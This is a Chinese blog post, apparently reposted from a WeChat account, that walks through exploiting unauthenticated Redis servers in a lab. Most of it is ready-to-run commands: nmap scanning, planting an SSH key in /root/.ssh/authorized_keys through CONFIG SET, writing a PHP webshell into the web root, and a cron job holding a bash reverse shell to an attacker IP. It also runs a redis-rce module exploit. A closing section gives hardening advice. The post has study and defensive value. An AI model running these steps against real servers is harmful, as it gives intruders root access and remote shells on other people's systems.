-
Redis服务直接暴露在公网上,允许任意用户访问 -
未开启防火墙或设置安全的防火墙策略 -
Redis服务未设置密码,或者设置的密码为弱口令 -
以管理员权限运行redis服务
wget http://download.redis.io/releases/redis-2.8.17.tar.gz #下载redis-2.8.17版本
tar xzvf redis-2.8.17.tar.gz #解压安装包
cd redis-2.8.17 # 进入redis目录
make #编译
make test #检测之前进行的make编译步骤中遗漏的错误,确保服务的编译正常
./redis-server #开启redis服务
nmap -sP 192.168.233.0/24 #利用nmap探测存活主机
nmap -sV 192.168.233.130 -p 1-65535 #探测靶机开放端口
redis-cli -h 192.168.233.130 #利用redis-cli远程连接工具对靶机redis服务进行无密码连接
Info #查看关于Redis服务器的各种信息和统计数值
redis写入公钥利用私钥登录ssh
-
Redis服务使用ROOT权限运行 -
安全模式protected-mode处于关闭状态 -
靶机开放了SSH服务且允许使用密钥登录
ssh-keygen -t rsa#在攻击机中生成ssh公钥和私钥文件,密码为空
(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > 1.txt #将生成的公钥保存到1.txt
cat 1.txt | redis-cli -h 192.168.233.130 -x set crack #写入1.txt文件,对应的键名为crack,键值为1.txt中的内容
键名可以是其他字符串,不一定需要写成crack
config set dir /root/.ssh/ #用于将Redis数据库备份文件的存放目录修改为/root/.ssh/
config set dbfilename authorized_keys
config get dbfilename
Save#保存
ssh -i id_rsa root@192.168.233.130#在攻击机使用ssh免密登录靶机
(两台攻击机和靶机都是kali,并且使用了finalshell进行操作,所以看起来不明显,但是可以看到攻击机执行连接命令时的目录是.ssh,而连接成功后当前目录已经变化)
-
靶机开启redis服务和web服务 -
知道web服务器的绝对路径 -
具备写入目标目录文件的权限
config set dir /var/www/html/
config set dbfilename shell.php
set shell "rnrnrnrn" #用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行,另外shell可以为任意字符串
save #保存
python3 -m http.server #利用Python启动http服务
-
知道靶机的计划任务目录路径 -
具备写入目标目录文件的权限 -
目标系统是Centos上可用,Ubuntu上有限制(理由如下)
1.默认redis写文件后是644的权限,但ubuntu要求执行定时任务件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错,而Centos的定时任务文件权限644也能执行
2.redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
3.两个系统的定时任务文件目录不同
nc -nvlp 6666 #在攻击机上开启监听
config set dir /var/spool/cron #设置路径
set x "n* * * * * bash -i >& /dev/tcp/192.168.233.137/6666 0>&1n"#开启一个交互式的shell,将标准输出利用TCP连接发送给远程主机(另外x可以为任意字符串)
config set dbfilename root #设置文件名为root
save#保存
-
4.x <= Redis <= 5.0.5 -
空口令或弱口令登录redis服务
docker-compose up -d #开启环境
https://github.com/Ridter/redis-rce
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
python3 redis-rce.py -r 192.168.233.130 -p 6379 -L 192.168.233.137 -f module.so #执行脚本(-p为本机端口)
-
避免redis服务暴露在公网上或者设置IP白名单访问 -
开启防火墙并设置安全的防火墙策略 -
更改redis默认端口 -
设置redis服务登录强密码 -
禁止非管理员权限用户添加新的公钥,将authorized_keys文件的权限设置为对拥有者只读 -
在redis服务中禁用高危命令或者将其重命名
原文始发于微信公众号(海底生残月):Redis未授权访问漏洞利用方式
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论